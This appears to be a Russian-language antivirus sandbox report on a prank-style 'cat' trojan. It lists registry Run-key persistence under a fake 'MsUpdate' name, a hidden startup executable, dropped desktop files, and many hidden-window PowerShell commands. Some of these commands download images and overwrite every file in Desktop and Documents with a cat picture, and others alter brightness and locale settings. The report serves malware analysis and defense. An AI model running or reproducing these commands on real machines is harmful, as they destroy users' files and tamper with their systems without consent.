Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MsUpdate_r9z047' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msupdate_kzox8q.exe'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\desktop\i_am_a_cat.txt
- %HOMEPATH%\desktop\if_i_fits_i_sits.txt
- %HOMEPATH%\desktop\do_not_open.txt
- %HOMEPATH%\desktop\pspspsps.txt
- %HOMEPATH%\desktop\your_clippboard_is_mine.txt
- %HOMEPATH%\desktop\nap_time.txt
- %HOMEPATH%\desktop\meow_meow_meow.txt
- %HOMEPATH%\desktop\cat_facts.txt
- %HOMEPATH%\desktop\open_me.txt
- %HOMEPATH%\desktop\hiss.txt
- %HOMEPATH%\desktop\cat.exe.txt
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
- ClassName: 'SHELLDLL_DefView' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n.... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start https://www.reddit.com/r/cats
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start https://www.youtube.com/results?search_query=funny+cats
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\assembly
- '<SYSTEM32>\cmd.exe' /k type %WINDIR%\win.ini
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start https://www.speedtest.net
- '<SYSTEM32>\control.exe' keyboard
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing"
- '<SYSTEM32>\cmd.exe' /k echo PSPSPSPSPSPSPSPSPSPS
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Prefetch
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Destination $_.Full...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'; $b.BalloonTi...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Control Panel\Deskto...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n.Visible=$true;...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Fonts
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing the song of it...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()"
- '<SYSTEM32>\control.exe' mouse
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'"
